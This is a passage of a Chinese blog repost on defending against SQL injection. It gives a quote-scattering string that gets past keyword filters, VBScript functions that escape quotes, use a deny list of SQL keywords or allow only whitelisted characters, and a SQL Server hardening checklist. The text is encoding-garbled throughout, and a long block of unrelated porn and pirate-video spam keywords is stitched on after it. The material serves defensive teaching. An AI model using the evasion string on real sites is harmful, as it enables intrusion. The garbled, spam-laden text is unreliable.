當合并修改數(shù)據(jù)和字符序列確認時,會出現(xiàn)另一個問題。例如,如果我們應(yīng)用一個錯誤過濾在除去單引號之后去探測''—'',''select''和''union'',攻擊者可以輸入: uni''onsel''ectversion-''- 既然單引號被除去,攻擊者可以簡單地散布單引號在自己的錯誤的字符串中躲避被發(fā)現(xiàn)。 這有一些確認代碼的例子: 方法一——過濾單引號 functionescape(input) input=replace(input,"''","''''") escape=input endfunction
方法二——拒絕已知的錯誤輸入 functionvalidate_string(input) known_bad=array("select","insert","update","delete","drop","—","''") validate_string=true fori=lbound(known_bad)toubound(known_bad) if(instr(1,input,known_bad(i),vbtextcompare)<>0)then validate_string=false exitfunction endif next endfunction
方法三——只允許正確的輸入 functionvalidatepassword(input) good_password_chars=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789” validatepassword=true fori=1tolen(input) c=mid(input,I,1) if(InStr(good_password_chars,c)=0)then validatepassword=false exitfunction endif next endfunction
[SQLSERVER鎖定] 在這指出的重要一點是鎖定SQLSERVER是必要的;外面的是不安全的。這是一個但創(chuàng)建SQLSERVER時需要做的事情的簡短的列表: 1.確定連接服務(wù)器的方法 a.確定你所使用的網(wǎng)絡(luò)庫是可用的,那么使用"NetworkUtility" 2.確定哪些帳戶是存在的 a.為應(yīng)用程序的使用創(chuàng)建一個低權(quán)限的帳戶 b.刪除不必要的帳戶 c.確定所有帳戶有強壯的密碼;執(zhí)行密碼審計 3.確定哪些對象存在 a.許多擴展存儲過程能被安全地移除。如果這樣做了,應(yīng)該移除包含在擴展存儲過程代碼中的''.dll''文件 b.移除所有示例數(shù)據(jù)庫——例如''northwind''和''pubs''數(shù)據(jù)庫 4.確定哪寫帳戶能過使用哪些對象 a.應(yīng)用程序進入數(shù)據(jù)庫所使用的帳戶應(yīng)該有保證能夠使用它需要的對象的最小權(quán)限 5.確定服務(wù)器的補丁 a.針對SQLSERVER有一些緩沖區(qū)溢出和格式化字符串攻擊,也有一些其他的安全補丁發(fā)布。應(yīng)該存在很多。 6.確定什么應(yīng)該被日志記錄,什么應(yīng)該在日志中結(jié)束

轉(zhuǎn)載于:https://www.cnblogs.com/eric-peng-888/p/4860797.html

總結(jié)

以上是生活随笔為你收集整理的SQL 注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

在线电影 你懂得 | 色综合网在线 | 激情欧美一区二区免费视频 | 综合色久 | 精品久久久久一区二区国产 | 日韩在线观看视频中文字幕 | 久久精品中文字幕一区二区三区 | av免费在线观看1 | 国产美女在线精品免费观看 | 国产 色| 久久国产视频网 | 精品欧美一区二区精品久久 | 免费男女网站 | 久久久精品网站 | 国产综合视频在线观看 | 一区二区欧美日韩 | 国产乱对白刺激视频不卡 | 久久国产三级 | 手机av在线网站 | 亚洲第一香蕉视频 | 国产一区二区中文字幕 | 黄污视频网站 | 久久国产热视频 | 国产91免费看 | 久草国产在线 | 热久久最新地址 | 国产视频精品久久 | 久久久www成人免费毛片麻豆 | 久久久久久国产精品久久 | 国产在线a免费观看 | 国产色黄网站 | 欧美一区二区视频97 | 精品女同一区二区三区在线观看 | 久久视频国产精品免费视频在线 | 国产精品在线看 | www.夜夜操| 色99网| avwww在线| 久久午夜电影网 | 亚洲闷骚少妇在线观看网站 | 美女久久久久久久久久 | 国产一区二区在线免费播放 | 欧美日韩另类在线 | 欧美一区二区三区在线播放 | 成人欧美日韩国产 | 免费特级黄色片 | 成人在线视频免费观看 | 国产区 在线 | 日韩免费看的电影 | avav99| 国产成人精品在线观看 | 99精品亚洲 | 人人射网站 | 992tv成人免费看片 | 亚洲国产精久久久久久久 | 亚洲精品mv在线观看 | 国产剧情在线一区 | 欧美精品亚洲精品日韩精品 | 成人在线播放免费观看 | 99热 精品在线 | 日韩精品视 | 中文字幕第一页在线 | 天天操综合网站 | 99热 精品在线 | 麻豆视频国产精品 | 成 人 黄 色 免费播放 | 欧美日韩国产精品爽爽 | 五月婷婷六月丁香 | www.综合网.com | 色偷偷男人的天堂av | 国产午夜麻豆影院在线观看 | 亚洲精品视频在线 | 久久久久一区 | 天天操一操 | 欧美日韩国产网站 | 午夜精品视频一区 | 日韩av免费在线看 | 亚洲欧美国产精品va在线观看 | 麻豆果冻剧传媒在线播放 | 91亚洲精品久久久蜜桃借种 | 麻豆91在线看 | 九九热免费精品视频 | 成人av在线影院 | 亚洲 欧美 日韩 综合 | 婷婷在线观看视频 | 亚洲91视频 | 色香蕉网| 日韩v欧美v日本v亚洲v国产v | 黄色av电影在线观看 | 午夜av影院 | 91亚洲精品国产 | 992tv在线观看| 天天激情综合网 | 18网站在线观看 | 精品久久一二三区 | 久久人人爽人人爽人人片av免费 | 黄色电影网站在线观看 | 天天干天天拍 | 午夜影视剧场 | 色99之美女主播在线视频 | 91视频午夜 | 日韩天天干 | 精品一区二区av | 91超碰免费在线 | 国产色小视频 | 99草在线视频 | 午夜久久久久久久 | 久久九九精品 | 国产麻豆剧传媒免费观看 | 日韩av一区二区三区在线观看 | 视频在线观看入口黄最新永久免费国产 | 天天综合网天天综合色 | 日韩精品aaa | 亚洲精品国产精品国自产 | 国产精品v a免费视频 | 天天综合网久久综合网 | 日韩免费高清在线 | 色人久久 | 亚洲精品国产日韩 | 一区二区三区电影 | 精品亚洲视频在线观看 | 久久精品视频网站 | 成人午夜电影在线播放 | 免费三级影片 | 男女日麻批 | 成人久久毛片 | 精品美女国产在线 | 91久久影院| 久久人91精品久久久久久不卡 | 国产精品99久久99久久久二8 | 麻豆国产精品va在线观看不卡 | 久久久久激情 | 国产黄色片免费在线观看 | 最近更新好看的中文字幕 | 一本一道久久a久久精品蜜桃 | 欧美日韩不卡一区二区三区 | 日韩欧美一二三 | 综合久久久久久久久 | 黄色av网站在线观看免费 | 国产精品原创av片国产免费 | 色网影音先锋 | 黄色电影在线免费观看 | 亚洲最大免费成人网 | 狠狠狠狠狠狠狠干 | av在线免费播放 | 国产又粗又猛又爽又黄的视频免费 | 日日天天av | 欧美色精品天天在线观看视频 | 精品国产一区二区三区四区在线观看 | 亚洲精品国产精品99久久 | 黄色精品国产 | 99视频在线免费观看 | 久久在现 | 91麻豆精品久久久久久 | 国产一二区视频 | 久久久久久国产精品999 | 国产精品一区二区三区99 | 婷婷国产在线 | 中文字幕日本特黄aa毛片 | 在线观看日本韩国电影 | 亚洲一区二区麻豆 | 在线播放av网址 | 91在线入口 | 色播99 | 午夜精品一区二区三区在线播放 | 黄在线免费看 | 视频国产在线 | 一二三区在线 | 国产精品久久久久毛片大屁完整版 | 日韩免费视频 | 亚洲激精日韩激精欧美精品 | 国产中文字幕视频在线观看 | 欧美成人性战久久 | 亚洲国产精品va在线 | 国产香蕉97碰碰碰视频在线观看 | 天天草视频 | 国产精品一区二区久久精品爱涩 | 色婷婷精品 | 亚洲欧洲国产视频 | 日韩成人免费观看 | 黄色片软件网站 | 丁香色婷 | 一区二区三区韩国免费中文网站 | 伊人久久在线观看 | 中文字幕在线视频第一页 | 国产一区二区不卡视频 | 亚洲综合成人av | 国产 亚洲 欧美 在线 | 亚洲午夜久久久影院 | 伊人天天狠天天添日日拍 | 国产1区2 | av中文字幕在线看 | 亚洲精品乱码白浆高清久久久久久 | 国产成人精品亚洲 | 激情小说 五月 | 久草在线手机观看 | 国产中文字幕一区二区三区 | 免费在线观看日韩欧美 | 国产视频一区在线播放 | 国产 日韩 欧美 自拍 | 草免费视频 | 97精品一区 | 在线观看国产麻豆 | 人人插人人做 | 成人毛片在线观看视频 | 亚洲精品男人的天堂 | 日日天天| 中文字幕在线视频一区二区 | 久久国产精品99久久人人澡 | 久久久久亚洲国产 | 精品国产乱码久久久久久1区2匹 | 婷婷综合影院 | 日韩,精品电影 | 婷婷在线免费观看 | 日韩影视精品 | 中文字幕欧美三区 | 亚洲爱爱视频 | av免费网站在线观看 | 91在线区| 国产永久免费 | 久久精品网站免费观看 | 丁香婷婷成人 | 久久精品com| 亚洲黄色区 | 一级欧美日韩 | 日韩最新av在线 | 国产在线色 | 黄色大片入口 | 国产亚洲在线观看 | adc在线观看 | 日韩欧美在线观看一区二区三区 | 婷婷国产在线 | 亚洲精品美女久久久久网站 | 成人av在线播放网站 | 欧美日韩啪啪 | av高清不卡 | 国偷自产中文字幕亚洲手机在线 | 天天射天天爽 | 九九久久久久久久久激情 | av丁香花 | 天天看天天干 | 亚洲在线色 | 黄色大片av | 久草在线综合 | 中文字幕字幕中文 | 在线看片视频 | 国产视频一 | 国产午夜在线 | 最新婷婷色 | av中文在线影视 | 国产一区二三区好的 | 久久国产欧美日韩 | 狠狠操影视 | 免费三级网 | 少妇bbw撒尿 | 在线观看完整版免费 | 免费福利片 | 激情久久久 | 成人a级黄色片 | 国产精品99久久久精品 | 国产又黄又硬又爽 | 色综合天天综合 | 婷婷开心久久网 | 最近中文字幕免费av | 亚洲情感电影大片 | 日韩免费福利 | 九九热久久免费视频 | 久草在线视频看看 | 少妇搡bbbb搡bbb搡69 | 久久狠狠亚洲综合 | 黄色一级大片在线免费看产 | 日日摸日日 | 国产专区精品 | 天天操夜夜操夜夜操 | 国产色网 | 精品免费国产一区二区三区四区 | 久久精品毛片 | www免费在线观看 | 成人毛片在线观看视频 | 国产国语在线 | 久草在线视频中文 | 国产一区二区高清不卡 | 麻豆一级视频 | 99久久精品国产网站 | 狠狠干激情 | 九九99视频| 在线观看国产日韩欧美 | 日韩在线视频二区 | 午夜久久久影院 | 国产精品自在线 | 天天激情综合 | 久久久久久久久久久久久9999 | 99热这里只有精品8 久久综合毛片 | 欧洲色吧 | 国产精品网址在线观看 | 91亚色免费视频 | wwwww.国产 | 久久综合九色九九 | 天天拍夜夜拍 | 日韩av资源站 | 久久婷婷精品 | 东方av免费在线观看 | 一级a毛片高清视频 | 欧美日韩免费一区二区 | 波多野结衣精品 | 午夜久久久久久久久久久 | 国产精品久久久久久久久久三级 | 91资源在线播放 | 欧美色图30p | 丁香综合网 | 国产精品久久久久永久免费 | 精品国产美女在线 | 狠狠色丁香久久婷婷综合五月 | 夜夜爽88888免费视频4848 | 在线免费观看视频一区 | 日本精品久久久久中文字幕5 | 波多野结衣亚洲一区二区 | 美女免费网站 | 国产女人18毛片水真多18精品 | 国产精品久久久久久超碰 | 在线 精品 国产 | 成人试看120秒 | av成人在线播放 | 国产高清不卡一区二区三区 | 丁香六月婷婷开心婷婷网 | 久久超碰在线 | 亚洲激情中文 | 免费福利小视频 | 天天艹天天操 | 国产美女久久 | 久久久高清一区二区三区 | 国产99久久久久久免费看 | 久久婷婷网 | 在线观看网站你懂的 | www.看片网站 | 精品国产乱码久久久久久天美 | 国产精品美女网站 | 亚洲伊人色 | 黄色免费网站下载 | 一区二区三区日韩精品 | 亚洲精品欧洲精品 | 精品久久影院 | 免费观看av| 91精品在线播放 | 超碰97成人 | 91免费视频黄 | 中文字幕在线日亚洲9 | 国产91影院 | 岛国大片免费视频 | 中文字幕在线免费看线人 | 日本少妇久久久 | 国产精品成人a免费观看 | 亚洲精品乱码久久久久久写真 | 精品国产美女 | 96超碰在线| 在线观看视频免费大全 | 999国内精品永久免费视频 | 日韩精品亚洲专区在线观看 | 精品a在线| 中文字幕文字幕一区二区 | 国产资源免费在线观看 | 日韩高清无线码2023 | 国产69精品久久久久久久久久 | 色婷婷欧美 | 国产原创在线 | 成人免费大片黄在线播放 | 午夜丁香网 | 欧美精品亚洲精品日韩精品 | 国产精品久久久久久久久免费 | 国产亚洲综合精品 | 久草国产精品 | 日日操日日插 | 超碰97在线看 | 亚洲国产中文字幕在线观看 | 一区二区三区 亚洲 | 久久综合精品国产一区二区三区 | 精品一区二区免费 | 日韩中文字幕电影 | 97干com| 97视频免费观看2区 亚洲视屏 | 国产在线永久 | 美国三级黄色大片 | 日本三级久久久 | 在线观看91网站 | 狠狠操夜夜操 | 久久久久免费 | 黄色一级在线视频 | 国产一级黄色电影 | 国产91精品看黄网站在线观看动漫 | 亚洲精品www久久久 www国产精品com | 国产成人精品一区二区三区网站观看 | 人人插人人玩 | 日韩视频一二三区 | 97超碰精品 | 国产成人高清 | 国产精品久久久久久久免费 | 免费a v在线 | 中文字幕在线观看视频网站 | 久久久久久久av | 色五月成人 | 国产又粗又硬又长又爽的视频 | 亚州国产精品视频 | 黄色av电影一级片 | 日韩二区精品 | 欧美一级免费 | 97国产情侣爱久久免费观看 | 天天操天天干天天操天天干 | 中文字幕精品三区 | 99精品一级欧美片免费播放 | 久久手机免费观看 | 亚洲日本精品视频 | 国产精品第2页 | 人交video另类hd | 日韩中文字幕一区 | 在线观看香蕉视频 | 久久爱资源网 | 午夜av影院 | 午夜在线看片 | 久久久久久久久久久久久久电影 | 欧美淫aaa免费观看 日韩激情免费视频 | 色婷婷久久久综合中文字幕 | 久久精品久久精品久久39 | 婷婷综合激情 | 欧洲高潮三级做爰 | 欧美日韩裸体免费视频 | 一区二区欧美激情 | 久久精品视频在线免费观看 | 日韩理论电影在线观看 | 久久久污 | 国产精品av久久久久久无 | 国产精品手机看片 | 97电影院在线观看 | 激情五月激情综合网 | 一区二区三区在线免费播放 | 中文字幕一区二区三区久久蜜桃 | 久草在线资源视频 | 国产视频中文字幕在线观看 | 91av在线免费 | 亚洲性xxxx| 激情综合婷婷 | 日韩欧美高清视频在线观看 | 国产在线观看xxx | 日韩免费电影在线观看 | av电影免费在线 | 色婷婷狠狠五月综合天色拍 | 国产丝袜高跟 | 日韩免费三级 | 狠狠躁18三区二区一区ai明星 | 免费看的毛片 | 99久久夜色精品国产亚洲96 | www黄在线| 国产精品美女久久久久久久 | 久久免费片 | 精品视频在线免费 | 国产伦理久久精品久久久久_ | 国产精品成人一区二区三区吃奶 | 成人久久18免费 | 亚洲综合色视频在线观看 | 国产精品久久久久免费a∨ 欧美一级性生活片 | 黄色一级大片在线观看 | 色资源中文字幕 | 精品亚洲一区二区 | 一区二区三区在线免费观看视频 | 亚洲国产精品一区二区久久,亚洲午夜 | 日日夜夜综合网 | 天天插天天操天天干 | 在线国产欧美 | 亚洲国产日韩av | 欧美不卡视频在线 | 天天干天天天 | 综合网天天色 | 天堂网一区 | 国内外成人免费在线视频 | 欧美亚洲国产一卡 | 欧美精品二 | 欧美日韩高清一区二区 国产亚洲免费看 | 久久精品一区二区三区四区 | 九九久久在线看 | 色 中文字幕 | 久久色中文字幕 | 五月天久久综合网 | 中文av字幕在线观看 | 91看片淫黄大片一级在线观看 | 久久国产亚洲精品 | 麻豆视频免费看 | 日韩一级电影在线观看 | 亚洲精品午夜一区人人爽 | 在线播放91 | 密桃av在线 | 国产一级免费观看视频 | 亚洲永久精品国产 | 色婷婷久久一区二区 | 欧美日韩久久久 | 精品视频 | 国产精品1区2区3区 久久免费视频7 | 五月婷婷在线视频观看 | 国产在线欧美日韩 | 免费看一及片 | 丁香六月av | 天天干天天综合 | 天天色天天爱天天射综合 | 久久99精品国产 | 国产国产人免费人成免费视频 | 国产一级a毛片视频爆浆 | 国产精品欧美一区二区 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 看污网站 | 91福利区一区二区三区 | 国产综合精品久久 | 国产精品一区久久久久 | 久久久久久久久久久久影院 | wwxxxx日本| 国产日本亚洲高清 | 日日操操| 国产精品丝袜 | 三上悠亚一区二区在线观看 | 日日操网 | 日韩av在线看 | 国产精品av电影 | 久久免费福利视频 | www.香蕉 | 91 在线视频播放 | 精品亚洲免费 | 中文国产字幕 | 日韩欧美视频免费观看 | 日日天天狠狠 | 亚洲 欧美 精品 | 亚洲成av人影院 | 97综合视频 | 欧美亚洲国产日韩 | 亚洲精品一区二区三区在线观看 | 日韩黄色大片在线观看 | 国产精品久久久 | 国产久草在线 | 天天干,狠狠干 | aaa日本高清在线播放免费观看 | 91视频麻豆| 91一区二区三区久久久久国产乱 | 久久综合欧美精品亚洲一区 | 午夜久久久久久久久久久 | 日日爱视频 | 色婷婷免费 | 色久av| 亚洲成人高清在线 | 久久国产精品视频观看 | 国产亚洲午夜高清国产拍精品 | 91免费观看 | 成片人卡1卡2卡3手机免费看 | 欧美日韩中文字幕在线视频 | 在线看黄色的网站 | 中文字幕在线观看第二页 | 五月婷在线视频 | 国产精品理论片在线播放 | 久久99精品国产99久久 | 91免费黄视频 | 超碰在线94 | 国产精品观看 | 婷婷中文字幕在线观看 | 最近中文字幕mv | 美女视频一区 | 欧美精品久久久久久久免费 | 少妇bbw搡bbbb搡bbb | 成人中文字幕av | 欧美成人精品欧美一级乱 | 欧美日韩一级在线 | 500部大龄熟乱视频使用方法 | 国产精品美女久久久网av | 中文字幕免费观看全部电影 | 久久精品国产亚洲a | 91久久丝袜国产露脸动漫 | 成人久久久精品国产乱码一区二区 | 在线亚洲欧美日韩 | 亚洲精品乱码久久久一二三 | 97在线视频免费看 | 成人app在线播放 | 日女人免费视频 | 射射射av | 国产精品1区2区3区 久久免费视频7 | av网址在线播放 | 日韩高清观看 | 69av免费视频 | 久热爱| 亚洲国产福利视频 | 国产五月婷婷 | av免费片| 国产亚洲视频在线免费观看 | 久久视频在线看 | 精品在线你懂的 | 操操操天天操 | 日韩爱爱网站 | 成人黄在线观看 | 日韩av一区二区在线 | av天天干| 欧美ⅹxxxxxx | 亚洲欧美少妇 | 日韩视频专区 | 色偷偷av男人天堂 | 中文字幕国语官网在线视频 | 一区二区久久 | 五月综合色婷婷 | 91在线视频在线观看 | 精品嫩模福利一区二区蜜臀 | 黄av免费在线观看 | 亚洲国产成人高清精品 | 在线观看视频国产一区 | 天堂av在线网 | 国产麻豆成人传媒免费观看 | 黄色av电影免费观看 | 久久久久国产成人免费精品免费 | 国产精品免费av | 99精品视频免费在线观看 | 久久精品—区二区三区 | 久草网在线视频 | 亚洲女裸体 | 亚洲一区久久久 | 亚洲国产中文字幕在线观看 | 黄色网大全| 天天插狠狠干 | 久久精品欧美日韩精品 | 久久久久在线 | 精品久久久国产 | 黄色三级免费观看 | 国产麻豆精品传媒av国产下载 | 精品久久福利 | 国产午夜三级 | www色av| 国产高清中文字幕 | 国产亚洲精品久久久久久久久久 | 超碰激情在线 | 免费久久精品视频 | 成片免费| 亚洲视频在线观看 | 国产一区在线视频 | 免费观看视频的网站 | 国产三级国产精品国产专区50 | 日韩成人xxxx | 日韩在线无 | 日日草天天草 | 欧美色精品天天在线观看视频 | 九九热精品视频在线观看 | 中文字幕在线观看第一区 | 操操综合| 五月婷婷网站 | 99久久久久久久 | 99国产精品一区二区 | 69av国产| 国产999精品 | 久久最新视频 | 亚洲国产电影在线观看 | 国产毛片久久久 | 国产成人三级在线观看 | 在线观看免费成人 | 欧美一二在线 | 一区二区三区在线不卡 | 免费在线黄网 | 精品免费视频. | 综合久久综合久久 | 成片免费观看视频大全 | 日韩在线看片 | 成人黄色在线视频 | 国产视频 亚洲精品 | 丁香色综合 | 青青草国产精品 | 中文字幕中文字幕 | 国产又粗又猛又黄又爽的视频 | 亚洲成人精品 | 日日夜夜艹 | 久久免费成人精品视频 | 精品一区 在线 | 日韩成人精品一区二区三区 | 国产高清不卡一区二区三区 | 国产亚洲人成网站在线观看 | 天天狠狠操| 亚洲精品影视在线观看 | 麻豆国产网站 | 五月婷婷一区 | 一区二区三区四区五区在线视频 | 亚洲 欧美 另类人妖 | 国产精品福利无圣光在线一区 | 亚洲精品国偷自产在线91正片 | 日韩欧美高清在线观看 | 亚洲视频在线看 | 亚洲精品国偷自产在线91正片 | 亚洲国产精品视频在线观看 | 久草在线视频在线观看 | 99热最新在线 | 国产精品理论视频 | 美女在线免费观看视频 | 97香蕉超级碰碰久久免费软件 | 久久国产一区二区三区 | 免费日韩一区 | 黄色一级影院 | 成年人视频在线观看免费 | 日韩网站在线免费观看 | 西西4444www大胆无视频 | 日韩精品在线看 | 国产精品一区二区在线看 | av网址aaa| 国产精品一区二区中文字幕 | 色婷婷在线播放 | 免费黄色在线播放 | 国产免费亚洲 | 97视频在线免费观看 | 精品视频9999 | 日韩一区二区三区免费视频 | 中文字幕一区在线观看视频 | 五月天六月丁香 | 日韩欧美在线免费 | 97视频免费在线 | 国产vs久久| 亚洲激情av | 久久精品一区八戒影视 | 国产精品久久久久影院 | 久久草在线免费 | 欧美99久久 | 中文字幕一区二区在线播放 | 九热精品 | 免费观看全黄做爰大片国产 | 99精品区 | av色综合网| 一区二区三区手机在线观看 | 国产91对白在线播 | 天天人人综合 | 中文字幕视频网 | 91看片淫黄大片一级在线观看 | a级国产乱理伦片在线播放 久久久久国产精品一区 | 免费精品在线 | 国产成人精品久久二区二区 | 在线中文字幕观看 | 婷婷综合网 | 91福利影院在线观看 | 99综合影院在线 | 久久免费视频1 | 99久久成人 | 久久久久中文 | 狠狠色伊人亚洲综合网站色 | 91成人在线视频观看 | 极品久久久久 | 精品国产一区在线观看 | a午夜在线| 一本一本久久a久久精品综合 | 亚洲综合色网站 | 免费色视频在线 | 91精品系列 | 91三级在线观看 | 欧美精品在线观看 | 免费看片成人 | 婷婷色网站 | 在线 影视 一区 | 99精品视频在线免费观看 | 国产精品久久久久久久久久久久久久 | 99热这里是精品 | 国产黄网在线 | 91传媒视频在线观看 | 欧美亚洲精品一区 | av解说在线观看 | 国产精品嫩草影院9 | 综合色婷婷 | 西西444www大胆高清图片 | 天天射天天爱天天干 | 97成人资源站 | 欧美精品一区在线 | 天天操操操操操操 | 国产午夜视频在线观看 | 久久久影院一区二区三区 | 国产一区欧美一区 | 精品国产视频在线观看 | 亚洲日本va午夜在线影院 | a级片在线播放 | 久久精品爱爱视频 | 成人蜜桃网 | 亚洲成av人影片在线观看 | 久久九九免费 | 日产乱码一二三区别在线 | 91成人久久| 在线中文字幕电影 | 色爱区综合激月婷婷 | 中文字幕在线播放日韩 | 午夜av免费在线观看 | 91视频 - 114av| 超碰在线97国产 | 五月婷丁香网 | 伊人伊成久久人综合网站 | 久草在线视频看看 | 亚洲激情校园春色 | 激情五月婷婷激情 | 在线观看片 | 国产123av| 丁香色婷婷 | 久久成人国产精品一区二区 | av片在线观看免费 | 色综合久久天天 | 欧美性免费 | 中文字幕色综合网 | 欧美成人aa| 国产黄色精品 | 日韩乱码在线 | 黄色亚洲免费 | av免费在线观看网站 | 中文字幕av在线播放 | 天天干天天拍天天操 | av在线电影播放 | 亚洲a色| 国产亚洲va综合人人澡精品 | 欧产日产国产69 | 日本精品久久 | 久久99久久99精品免费看小说 | 西西www4444大胆视频 | 最近中文字幕高清字幕免费mv | 亚洲欧美日韩精品一区二区 | 成人免费在线观看av | 精品在线视频播放 | 国产高清视频在线观看 | 美女网站视频一区 | 天天干夜夜 | 国产精品自在线 | 国产高清成人 | a在线播放 | 日本精品久久久久中文字幕5 | 在线观看久久 | 四虎在线免费观看视频 | 夜夜操天天摸 | 蜜桃视频日韩 | 日韩欧美专区 | 久久综合免费视频影院 | 久久视频二区 | 精品久久久久国产免费第一页 | 久久福利小视频 | 黄色免费av | 国产中文字幕一区二区三区 | 欧美久久成人 | 福利片视频区 | 一级黄色a视频 | 91九色成人 | 亚洲综合成人专区片 | 狠狠色丁香婷婷 | 久久人网| 天天干天天射天天插 | 韩国在线视频一区 | 青青河边草免费视频 | 日韩在线观看电影 | 六月色| 久草视频免费在线观看 | 四虎海外影库www4hu | 狠狠干天天射 | 美女视频国产 | 亚洲精品白浆高清久久久久久 | 在线观看国产永久免费视频 | 亚洲伦理中文字幕 | 欧美福利片在线观看 | 国产精品一区二区三区四 | 国产精品免费久久久久久 | 伊人婷婷在线 | 成人在线免费观看视视频 | 天天干天天射天天插 | 在线观看成人av | 久久综合综合久久综合 | 少妇18xxxx性xxxx片 | 国产97在线观看 | 高清国产午夜精品久久久久久 | 亚洲免费观看视频 | 99这里有精品 | 国产一级黄大片 | a v在线观看 | 九九热在线观看视频 | 最近中文字幕mv免费高清在线 | 久久久亚洲麻豆日韩精品一区三区 | 综合久久精品 | 亚洲欧美在线视频免费 | 美女网站视频久久 | 久久久精品视频网站 | 视频福利在线观看 | 成人av高清| 色婷婷久久一区二区 | 成人久久久久久久久久 | 欧美做受xxx | 一级黄色片毛片 | 亚洲毛片在线观看. | 国产免费久久精品 | 国产中文字幕三区 | 久久99热国产 | 国产成人黄色av | 国产小视频网站 | 91成人精品一区在线播放69 | 人人澡人人爽 | 成人蜜桃网 | 91九色成人蝌蚪首页 | 不卡国产在线 | 三级黄色片子 | 国产在线精 | 日日碰狠狠躁久久躁综合网 | 日韩xxxxxxxxx | 欧美视频二区 | 在线观看你懂的网址 | 亚洲精品国产精品99久久 | 久久综合成人 | 麻豆国产视频 | 黄色特级毛片 | 五月天激情综合网 | 亚洲中字幕 | 精品福利视频在线观看 | 欧美日韩精品在线免费观看 | 十八岁免进欧美 | 青青久视频 | 国产精品美女免费看 | 久久人人爽爽人人爽人人片av | 一级成人免费视频 | 亚洲精品在线视频网站 | 中文字幕在线电影 | 97av在线视频免费播放 | 麻豆一二三精选视频 | a成人在线| 99久免费精品视频在线观看 | 天天色影院 | 香蕉视频日本 | 久久久久国产一区二区 | 亚洲欧洲精品一区二区 | 色婷婷99| aaa亚洲精品一二三区 | 日本aaaa级毛片在线看 | 欧美一级特黄aaaaaa大片在线观看 | 最近免费观看的电影完整版 | 久久草草热国产精品直播 | 韩日在线一区 | 亚洲国产资源 | 在线成人性视频 | 91豆麻精品91久久久久久 | 97在线观看视频免费 | 亚洲精品国产欧美在线观看 | 成人免费视频网站在线观看 | www.av小说| 在线视频黄| 怡红院久久 | 97超碰超碰久久福利超碰 | 精品国产成人av在线免 | 狠狠躁天天躁综合网 | 99精品系列 | 国产高清在线视频 | 国产精品激情偷乱一区二区∴ | 久久毛片网站 | 精品亚洲免费 | 97精品免费视频 | а中文在线天堂 | 亚洲天堂网视频 | 91视频免费网址 | 精品国内自产拍在线观看视频 | 国产在线超碰 | 日韩三级视频在线观看 | 国产精品毛片久久蜜 | 日日碰狠狠添天天爽超碰97久久 | 日本大片免费观看在线 | 在线观看一区二区精品 | 91精品在线免费观看视频 | 日韩色一区二区三区 | 激情综合国产 | 精品免费视频123区 午夜久久成人 | 久久人人看 | 91久久影院 | 蜜臀久久99精品久久久久久网站 | 欧美精品在线一区二区 | 91免费高清视频 | 夜色资源站wwwcom | 在线 高清 中文字幕 | 波多野结衣一区三区 | 伊人婷婷综合 | 久久香蕉影视 | 人人射人人澡 | 欧美午夜性 | 久草在线免费看视频 | 92中文资源在线 | 国产99在线免费 | 国产精品日韩欧美一区二区 | 中文在线免费看视频 | 超碰个人在线 | 国产成人亚洲精品自产在线 | 欧美精品一区二区在线观看 | 国产午夜精品一区二区三区嫩草 | 国产亚洲精品精品精品 | 久操视频在线免费看 | 国产精品a级| 五月天激情视频在线观看 | 国产亚洲久久 | 久久综合精品国产一区二区三区 | 国产v欧美| 日韩久久精品一区二区 | 国产成人精品综合久久久久99 | 99国产精品 | 久久久久久久久久久久久国产精品 | 最新国产精品久久精品 | 欧美日韩精品综合 | 91.dizhi永久地址最新 | 日日骑| 在线观看福利网站 | 日韩精品中文字幕久久臀 | av中文字幕网址 | 国产精品免费观看久久 | 久久亚洲区 | 久久在线观看视频 |